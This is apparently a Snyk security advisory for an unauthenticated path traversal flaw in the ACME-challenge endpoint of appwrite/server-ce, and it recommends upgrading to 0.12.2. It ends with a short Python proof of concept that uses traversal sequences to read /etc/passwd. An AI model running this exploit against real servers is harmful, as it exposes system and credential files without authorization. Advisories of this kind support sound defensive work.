Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade appwrite/server-ce
to version 0.12.2 or higher.
appwrite/server-ce is an End to end backend server for frontend and mobile apps.
Affected versions of this package are vulnerable to Path Traversal due to the ACME-challenge
endpoint. An attacker can read arbitrary local files by utilizing directory traversal sequences.
Notes:
This is only exploitable if APP_STORAGE_CERTIFICATES/.well-known/acme-challenge
exists on disk, which occurs automatically if the user opts to install Let's Encrypt certificates via the application.
If php
is running as root as it is in provided docker environment, the LFI allows for reading any file on the system.
import urllib.request
### Appwrite Unauthenticated LFI
# Vulnerable versions: 0.5.0 <= 0.12.1
# Date: 2021-12-08
# Author: @dubs3c
# dubell.io
#
# $APP_STORAGE_CERTIFICATES/.well-known/acme-challenge must exist on target's disk
try:
r = urllib.request.urlopen('http://localhost:8080/.well-known/acme-challenge/../../../../../../../../etc/passwd')
print(r.read().decode())
except urllib.error.HTTPError as e:
print(f"[-] Status code {e.status}. Exploit not possible...")